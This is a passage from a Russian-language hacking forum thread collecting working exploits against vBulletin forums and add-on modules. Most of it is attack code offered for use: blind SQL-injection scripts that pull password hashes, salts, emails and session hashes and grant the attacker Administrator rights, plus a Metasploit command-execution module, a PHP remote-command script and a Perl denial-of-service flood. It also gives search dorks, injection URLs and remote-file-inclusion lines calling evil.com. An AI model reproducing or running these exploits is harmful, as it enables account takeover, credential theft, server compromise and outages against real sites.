$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(sessionhash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/session/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
          
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: it\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Content-Length: ".strlen($data)."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
$packet.=$data;
          
sendpacketii($packet);
          if (
eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
          
$temp=explode("showthread.php?t=",$html);
          
$temp2=explode("\n",$temp[1]);
          
$thread=(int)$temp2[0];

          
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: it\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
sendpacketii($packet);
          if (
eregi("join date",$html)) {$sess_hash.=chr($i);echo chr($i); sleep(1); break;}
        }
        if (
$i==255) {
            die(
"\nExploit failed...");
        }
    }
$j++;
}

$j=1;$my_hash="";
echo 
"\nuser password hash -> ";
while (!
strstr($my_hash,chr(0)))
{
    for (
$i=0$i<=255$i++)
    {
      if (
in_array($i,$chars))
        {
          
$data ="s=";
          
$data.="&do=docopyposts";
          
$data.="&destforumid=$forumid";
          
$data.="&title=suntzu";
          
$data.="&forumid=$forumid";
          
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
          
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: en\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Content-Length: ".strlen($data)."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
$packet.=$data;
          
sendpacketii($packet);
          if (
eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
          
$temp=explode("showthread.php?t=",$html);
          
$temp2=explode("\n",$temp[1]);
          
$thread=(int)$temp2[0];

          
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: en\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
sendpacketii($packet);
          if (
eregi("join date",$html)) {$my_hash.=chr($i);echo chr($i); sleep(1); break;}
        }
        if (
$i==255) {
            die(
"\nExploit failed...");
        }
    }
$j++;
}

$j=1;$cpsess_hash="";
echo 
"\ncp session hash -> ";
while (!
strstr($cpsess_hash,chr(0)))
{
    for (
$i=0$i<=255$i++)
    {
      if (
in_array($i,$chars))
        {
          
$data ="s=";
          
$data.="&do=docopyposts";
          
$data.="&destforumid=$forumid";
          
$data.="&title=suntzu";
          
$data.="&forumid=$forumid";
          
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(hash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cpsession/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
          
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: en\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Content-Length: ".strlen($data)."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
$packet.=$data;
          
sendpacketii($packet);
          
$temp=explode("showthread.php?t=",$html);
          
$temp2=explode("\n",$temp[1]);
          
$thread=(int)$temp2[0];

          
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
          
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
          
$packet.="Referer: http://".$host.$path."profile.php\r\n";
          
$packet.="Accept-Language: en\r\n";
          
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          
$packet.="Host: ".$host."\r\n";
          
$packet.="Pragma: no-cache\r\n";
          
$packet.="Cookie: ".$cookie."; \r\n";
          
$packet.="Connection: Close\r\n\r\n";
          
sendpacketii($packet);
          if (
eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
          if (
eregi("join date",$html)) {$cpsess_hash.=chr($i);echo chr($i); sleep(1); break;}
        }
        if (
$i==255) {
            die(
"\nExploit failed...");
        }
    }
$j++;
}
echo 
"\n";

$packet ="GET ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; bbuserid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("adminhash\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$adminhash=$temp2[0];
echo 
"adminhash ->".$adminhash."\n";
if (
$adminhash<>"") {echo "\ndone! you are in... updating ".$user." rights";}
else {die(
"\nexploit failed...");}

//join to the Administrator group
$my_email="suntzu@suntzu.com";
$data ="do=update";
$data.="&adminhash=$adminhash";
$data.="&quicklinks=user.php%3Fdo%3Deditaccess%26u%3D".$my_uid;
$data.="&user%5Busername%5D=$user";
$data.="&password=";
$data.="&user%5Bemail%5D=$my_email";
$data.="&user%5Blanguageid%5D=0";
$data.="&user%5Busertitle%5D=Admin";
$data.="&user%5Bcustomtitle%5D=0";
$data.="&user%5Bhomepage%5D=";
$data.="&user%5Bbirthday%5D%5Bmonth%5D=0";
$data.="&user%5Bbirthday%5D%5Bday%5D=";
$data.="&user%5Bbirthday%5D%5Byear%5D=";
$data.="&user%5Bshowbirthday%5D=0";
$data.="&user%5Bsignature%5D=";
$data.="&user%5Bicq%5D=";
$data.="&user%5Baim%5D=";
$data.="&user%5Byahoo%5D=";
$data.="&user%5Bmsn%5D=";
$data.="&user%5Bskype%5D=";
$data.="&options%5Bcoppauser%5D=0";
$data.="&user%5Bparentemail%5D=$my_email";
$data.="&user%5Breferrerid%5D=";
$data.="&user%5Bipaddress%5D=";
$data.="&user%5Bposts%5D=0";
$data.="&userfield%5Bfield1%5D=";
$data.="&userfield%5Bfield2%5D=";
$data.="&userfield%5Bfield3%5D=";
$data.="&userfield%5Bfield4%5D=";
$data.="&user%5Busergroupid%5D=6";//primary usergroup, 6=Administrators
$data.="&user%5Bdisplaygroupid%5D=-1";
$data.="&user%5Bmembergroupids%5D%5B%5D=5";//secondary usergroup, 5=Super Moderators
$data.="&options%5Bshowreputation%5D=1";
$data.="&user%5Breputation%5D=10";
$data.="&user%5Bwarnings%5D=0";
$data.="&user%5Binfractions%5D=0";
$data.="&user%5Bipoints%5D=0";
$data.="&options%5Badminemail%5D=1";
$data.="&options%5Bshowemail%5D=0";
$data.="&options%5Binvisible%5D=0";
$data.="&options%5Bshowvcard%5D=0";
$data.="&options%5Breceivepm%5D=1";
$data.="&options%5Breceivepmbuddies%5D=0";
$data.="&options%5Bemailonpm%5D=0";
$data.="&user%5Bpmpopup%5D=0";
$data.="&options%5Bshowsignatures%5D=1";
$data.="&options%5Bshowavatars%5D=1";
$data.="&options%5Bshowimages%5D=1";
$data.="&user%5Bautosubscribe%5D=-1";
$data.="&user%5Bthreadedmode%5D=0";
$data.="&user%5Bshowvbcode%5D=1";
$data.="&user%5Bstyleid%5D=0";
$data.="&adminoptions%5Badminavatar%5D=0";
$data.="&adminoptions%5Badminprofilepic%5D=0";
$data.="&user%5Btimezoneoffset%5D=0";
$data.="&options%5Bdstauto%5D=1";
$data.="&options%5Bdstonoff%5D=0";
$data.="&user%5Bdaysprune%5D=-1";
$data.="&user%5Bjoindate%5D%5Bmonth%5D=2";
$data.="&user%5Bjoindate%5D%5Bday%5D=26";
$data.="&user%5Bjoindate%5D%5Byear%5D=2007";
$data.="&user%5Bjoindate%5D%5Bhour%5D=14";
$data.="&user%5Bjoindate%5D%5Bminute%5D=39";
$data.="&user%5Blastactivity%5D%5Bmonth%5D=2";
$data.="&user%5Blastactivity%5D%5Bday%5D=26";
$data.="&user%5Blastactivity%5D%5Byear%5D=2007";
$data.="&user%5Blastactivity%5D%5Bhour%5D=14";
$data.="&user%5Blastactivity%5D%5Bminute%5D=58";
$data.="&user%5Blastpost%5D%5Bmonth%5D=0";
$data.="&user%5Blastpost%5D%5Bday%5D=";
$data.="&user%5Blastpost%5D%5Byear%5D=";
$data.="&user%5Blastpost%5D%5Bhour%5D=";
$data.="&user%5Blastpost%5D%5Bminute%5D=";
$data.="&userid=".$mu_uid;
$data.="&ousergroupid=";
$data.="&odisplaygroupid=0";
$data.="&userfield%5Bfield1_set%5D=1";
$data.="&userfield%5Bfield2_set%5D=1";
$data.="&userfield%5Bfield3_set%5D=1";
$data.="&userfield%5Bfield4_set%5D=1";
$packet ="POST ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

//now give full rights to the new Administrator
$data ="do=update";
$data.="&adminhash=".$adminhash;
$data.="&adminpermissions%5Bcanadminsettings%5D=1";
$data.="&adminpermissions%5Bcanadminstyles%5D=1";
$data.="&adminpermissions%5Bcanadminlanguages%5D=1";
$data.="&adminpermissions%5Bcanadminforums%5D=1";
$data.="&adminpermissions%5Bcanadminthreads%5D=1";
$data.="&adminpermissions%5Bcanadmincalendars%5D=1";
$data.="&adminpermissions%5Bcanadminusers%5D=1";
$data.="&adminpermissions%5Bcanadminpermissions%5D=1";
$data.="&adminpermissions%5Bcanadminfaq%5D=1";
$data.="&adminpermissions%5Bcanadminimages%5D=1";
$data.="&adminpermissions%5Bcanadminbbcodes%5D=1";
$data.="&adminpermissions%5Bcanadmincron%5D=1";
$data.="&adminpermissions%5Bcanadminmaintain%5D=1";
$data.="&adminpermissions%5Bcanadminplugins%5D=1";
$data.="&cssprefs=";
$data.="&dismissednews=";
$data.="&userid=".$my_uid;
$data.="&oldpermissions=98300";
$data.="&adminpermissions%5Bcanadminupgrade%5D=0";
$packet ="POST ".$p."admincp/adminpermissions.php?do=update HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo 
"\nnow go to http://".$host.$path."admincp/index.php and login to the control panel...";
?>
Сплойт который выдерает пасс у заданного юзера и меняет его

PHP код:
#!/usr/bin/perl 

# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer. 
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro);) 
# If you do not need to change the password, simply stop exploit at the time of the removal of the password. 
# Running exploit again sent two letters to the box. Be akkuratney. 
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.

# dork: inurl:petz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#

use LWP::UserAgent;
use 
Getopt::Std;
use 
strict;
my %opts;

getopts("i:p:l:P:s:e:u:",\%opts);
  
my $url=$opts{u};
  
my $id=$opts{i} || 9107;
  
my $prefix=$opts{P} || '';
  
my $password1=$opts{p};
  
my $salt1=$opts{s};
  
my $length=$opts{l};
  
my $email1=$opts{e};


if(!
$url || !$id)
{
echo(
'-------------------------FUCK YOU SPILBERG!----------------------');
echo(
'Petz sql injection');
echo(
'Founded and coded by k1b0rg(768620)');
echo(
'exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo(
'-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}




my $browser LWP::UserAgent->new();
$browser->requests_redirectable([]);

echo(
'Petz sql injection');
echo(
'Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if(
$res->content=~/Database error/i)
{
echo(
'[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo(
'[/] Prefix is: ['.$1.']');
}
else
{
echo(
'[|] This script NOT vulnerable!!!!');
exit;
}




########password1#################################  ######
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo(
'[\] Password(1): [');
if(!
$password1)
  {
   for(
1..32)
    {
      
my $pos=$_;
      for(
48..57,97..103)
        {
          
my $asc=$_;
          if(
$asc==103) {echo('EXPLOIT FAILED]',0); exit;}
          
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'  user+WHERE+userid=\''.$id.'\'+and(ascii(substring(  password,'.$pos.',1))='.$asc.')/*');
          if(
$res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
        }
   }
  }
else
 {
  echo(
$password1,0);
 }
echo(
']',0);

########salt1#####################################  ##
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo(
'[-] Salt(1): [');
my $salt;
if(!
$salt1)
 {
   for(
1..3)
    {
      
my $pos=$_;
      for(
33..126)
        {
         
my $asc=$_;
         
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'  user+WHERE+userid=\''.$id.'\'+and(ascii(substring(  salt,'.$pos.',1))='.$asc.')/*');
         if(
$res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
        }
   }
  }
else
  {
    
$salt=$salt1;
    echo(
$salt,0);
  }
echo(
']',0);


########Checking email length#######################################
echo('[\] Step 3: [Checking email length ['.$id.']');
echo(
'[|] Email length: [');
my $num;
if(!
$email1)
  {
    if(!
$length)
      {
        for(
6..32)
          {
            
$num=$_;
            
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'  user+WHERE+userid=\''.$id.'\'+and(length(email)='.  $num.')/*');
            if(
$res->content!~/Untrapped Error/is) {echo($num,0); last; }
          }
      }
    else
      {
        
$num=$length;
        echo(
$num,0);
      }
  }
else
  {
    
$num=length($email1);
    echo(
$num,0);
  }
echo(
']',0);

########losting email#######################################
echo('[/] Step 4: [getting email user by id ['.$id.']');
echo(
'[-] Email: [');
my $email;
if(!
$email1)
  {
    for(
1..$num)
      {
        
my $pos=$_;
        for(
48..57,64,97..122)
          {
            
my $asc=$_;
            
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'  user+WHERE+userid=\''.$id.'\'+and(ascii(lower(subs  tring(email,'.$pos.',1)))='.$asc.')/*');
            if(
$res->content!~/Untrapped Error/is) {echo(chr($asc),0); $email.=chr($asc); last; }
          }
      }
  }
else
  {
    
$email=$email1;
    echo(
$email,0);
  }
echo(
']',0);

########lost_password#############################  ##########
echo('[\] Step 5: [Losting password]');
$browser->post($url.'login.php',
              [
              
email=>$email,
              do=>
'emailpassword'
              
]);

########losting activationid######################################  #
echo('[|] Step 7: [getting activationid user by id ['.$id.']');
echo(
'[/] activationid: [');
my $valid;
for(
1..8)
  {
    
my $pos=$_;
    for(
48..57)
      {
        
my $asc=$_;
        
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'  useractivation+WHERE+userid=\''.$id.'\'+and(ascii(  substring(activationid,'.$pos.',1))='.$asc.')/*');
        if(
$res->content!~/Untrapped Error/is) {echo(chr($asc),0); $valid.=chr($asc); last; }
      }
  }
echo(
']',0);


########lost_password#############################  ##########
echo('[-] Step 8: [Losting password]');
$browser->get($url.'login.php?a=pwd&u='.$id.'&i='.$valid);


########password2#################################  ######
echo('[\] Step 9: [getting password(two) user by id ['.$id.']');
echo(
'[|] Password(2): [');
my $newhash;
for(
1..32)
  {
    
my $pos=$_;
    for(
48..57,97..102)
      {
        
my $asc=$_;
        
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'  user+WHERE+userid=\''.$id.'\'+and(ascii(substring(  password,'.$pos.',1))='.$asc.')/*');
        if(
$res->content!~/Untrapped Error/is) {echo(chr($asc),0); $newhash.=chr($asc); last; }
      }
  }
echo(
']',0);


echo(
'News hash && salt: ['.$newhash.':'.$salt.']');


sub echo{
  
my $text=shift;
  
my $param=shift;
  
my $razdel=($param eq 0)?'':"\n";
  
syswrite STDOUT,$razdel.$text;

Модуль: ibProArcade v2.5.7 - ibProArcade v2.5.8

SQL инъекция

Стрница arcade.php.

PHP код:
arcade.php?gsearch='+union+select+1,2,3,4,5,6,7,8,  9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,  26,27,28,29,30,31,32,33,34/* 
  Ответить с цитированием

Рекламные ссылки:

Старый 07.12.2007, 20:36   #2 (permalink)
Senior Member
 
REDsaratov вне форума
Регистрация: 10.07.2007
Сообщений: 105
Репутация: 48
ICQ: 514-576
По умолчанию

Данный материал был собран с разных ресурсов - моего авторского права на него нет.
(Античат, Секлаб и т.д.)

vBulletin 3.0.10

SQL Injection

Пример:

PHP код:
http://123.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/* 
vBulletin 3.0.6

Command Execution Exploit (metasploit):

PHP код:
##
#        Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
#    Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
#         Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use 
base "Msf::Exploit";
use 
strict;
use 
Pex::Text;
use 
bytes;

my $advanced = { };

my $info = {
        
'Name'     => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
        
'Version'  => '$Revision: 1.0 $',
        
'Authors'  => [ 'str0ke' ],
        
'Arch'     => [ ],
        
'OS'       => [ ],
        
'Priv'     => 0,
        
'UserOpts' =>
          {
                
'RHOST' => [1'ADDR''The target address'],
                
'RPORT' => [1'PORT''The target port'80],
                
'VHOST' => [0'DATA''The virtual host name of the server'],
                
'RPATH' => [1'DATA''Path to the misc.php script''/forum/misc.php'],
                
'SSL'   => [0'BOOL''Use SSL'],
          },

        
'Description' => Pex::Text::Freeform(qq{
                
This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),

        
'Refs' =>
          [
                [
'MIL''832'],
          ],

        
'Payload' =>
          {
                
'Space' => 512,
                
'Keys'  => ['cmd''cmd_bash'],
          },

        
'Keys' => ['vBulletin'],
  };

sub new {
        
my $class shift;
        
my $self $class->SUPER::new({'Info' => $info'Advanced' => $advanced}, @_);
        return(
$self);
}

sub Exploit {
        
my $self shift;
        
my $target_host    $self->GetVar('RHOST');
        
my $target_port    $self->GetVar('RPORT');
        
my $vhost          $self->GetVar('VHOST') || $target_host;
        
my $path           $self->GetVar('RPATH');
        
my $cmd            $self->GetVar('EncodedPayload')->RawPayload;

        
# Encode the command as a set of chr() function calls
        
my $byte join('.'map $_ 'chr('.$_.')' unpack('C*'$cmd));

        
# Create the get request data
        
my $data "?do=page&template={\${passthru($byte)}}";

        
my $req =
                
"GET $path$data HTTP/1.1\r\n".
                
"Host: $vhost:$target_port\r\n".
                
"Content-Type: application/html\r\n".
                
"Content-Length: "length($data)."\r\n".
                
"Connection: Close\r\n".
                
"\r\n";

        
my $s Msf::Socket::Tcp->new(
                
'PeerAddr'  => $target_host,
                
'PeerPort'  => $target_port,
                
'LocalPort' => $self->GetVar('CPORT'),
                
'SSL'       => $self->GetVar('SSL'),
          );

        if (
$s->IsError){
                
$self->PrintLine('[*] Error creating socket: ' $s->GetError);
                return;
        }

        
$self->PrintLine("[*] Sending the malicious vBulletin Get request...");

        
$s->Send($req);

        
my $results $s->Recv(-120);
        
$s->Close();

        return;
}

1
vBulletin 3.0.4

Execute command
magic_quotes_gpc должен быть выключен


Сплойт:

PHP код:
<?php 
if (!(function_exists('curl_init'))) { 
echo 
"cURL extension required\n"
exit; 


if (
$argv[3]){ 
$url $argv[1]; 
$forumid intval($argv[2]); 
$command $argv[3]; 

else { 
echo 
"vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n"
echo 
"Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n"
echo 
"<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n"
echo 
"<forumid> forum id\n"
echo 
"<command> command to execute on server (ex: 'ls -la')\n"
echo 
"[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n"
echo 
"ex :\n"
echo 
"\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\""

exit; 


if (
$argv[4]) 
$proxy $argv[4]; 



$action 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."'

$ch=curl_init(); 
if (
$proxy){ 
curl_setopt($chCURLOPT_PROXY,$proxy); 

curl_setopt($chCURLOPT_URL,$url.'/'.$action); 
curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
$res=curl_exec ($ch); 
curl_close ($ch); 
$res substr($resstrpos($res'_START_')+7); 
$res substr($res,0strpos($res'_END_')); 
echo 
$res
?>
  Ответить с цитированием

Старый 12.01.2008, 15:15   #3 (permalink)
Мафиози
 
Аватар для DJ.KilleR
 
DJ.KilleR вне форума
Регистрация: 16.11.2007
Сообщений: 1,087
Репутация: 977
ICQ: 779475
По умолчанию

vBulletin 3.5.3 Exploit perl


Код:
#!/usr/bin/perl
##########################################
# vBdos.pl - vBulletin <=3.5.3 Search DoS
#
# Written by spic of g00ns
##########################################
# Contact
# Site: www.g00ns.net and www.g00ns-forum.net
# Email: spic <at> g00ns.net
# IRC: irc.g00ns.net #g00ns
##########################################
# Example
# vBdos.pl www.avbforum.com /vbulletin/
##########################################

print q{
____________________________________________________________________________
____ ____ ____ ____ _ __ ____ ____ _ __ ____ _____ ____ __ ___
/ __// __//_ // __// |/ // __// _// |/ // __/ / ___// __ / |/ /
_ / _/ / // _/ / /_ _/ / / /_ _ / /__ / /_/ // /|_/ /
/___//___/ /_//___//_/|_//___//___//_/|_//___/(_)___/ ____//_/ /_/
____________________________________________________________________________

};

use IO::Socket;
$server= $ARGV[0];
$path=$ARGV[1];


while($x != 9999)
{
$post =

"search_keywords=Se7enSins+owned+your+site$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=ms

gonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";

$lrg = length $post;


if(!$server||!$path)
{
print " vBulletin DoS by spic of g00ns nn";

print " Exploit code found on Se7enSins.com nn";

print " n00bFRAGGER was here... nn";

print " usage: VBDoS.pl <host without http> <directory> nn";
exit();
}



my $sock = new IO::Socket::INET (
PeerAddr => "$server",
PeerPort => "80",
Proto => "tcp",
);
die "nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!n" unless $sock;


print $sock "POST $path"."search.php?searchid=1952 HTTP/1.1n";
print $sock "Host: $servern";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";
print $sock "Referer: $servern";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Accept-Encoding: gzip, deflaten";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7. Gecko/20050511 Firefox/1.0.5n";
print $sock "Connection: Keep-Aliven";
print $sock "Cache-Control: no-cachen";
print $sock "Content-Length: $lrgnn";
print $sock "$postn";
close($sock);


syswrite STDOUT,".";

$x++;
}

##########################################
  Ответить с цитированием

Старый 13.01.2008, 19:57   #4 (permalink)
Мафиози
 
Аватар для DJ.KilleR
 
DJ.KilleR вне форума
Регистрация: 16.11.2007
Сообщений: 1,087
Репутация: 977
ICQ: 779475
По умолчанию

из новых модов не было

vBulletin Mod RPG Inferno 2.4 (inferno.php) SQL Injection Vulnerability[/COLOR]
Exploit :
http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(u sername,0x3a,password,0x3a,salt),31,@@version,33,3 4,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*


vBulletin vBGSiteMap 2.41 (root) Remote File Inclusion Vulnerabilities
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=http://evil.com?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=http://evil.com?

Elekt
antichat.ru
  Ответить с цитированием

Старый 22.01.2008, 13:04   #5 (permalink)
Мафиози
 
Аватар для DJ.KilleR
 
DJ.KilleR вне форума
Регистрация: 16.11.2007
Сообщений: 1,087
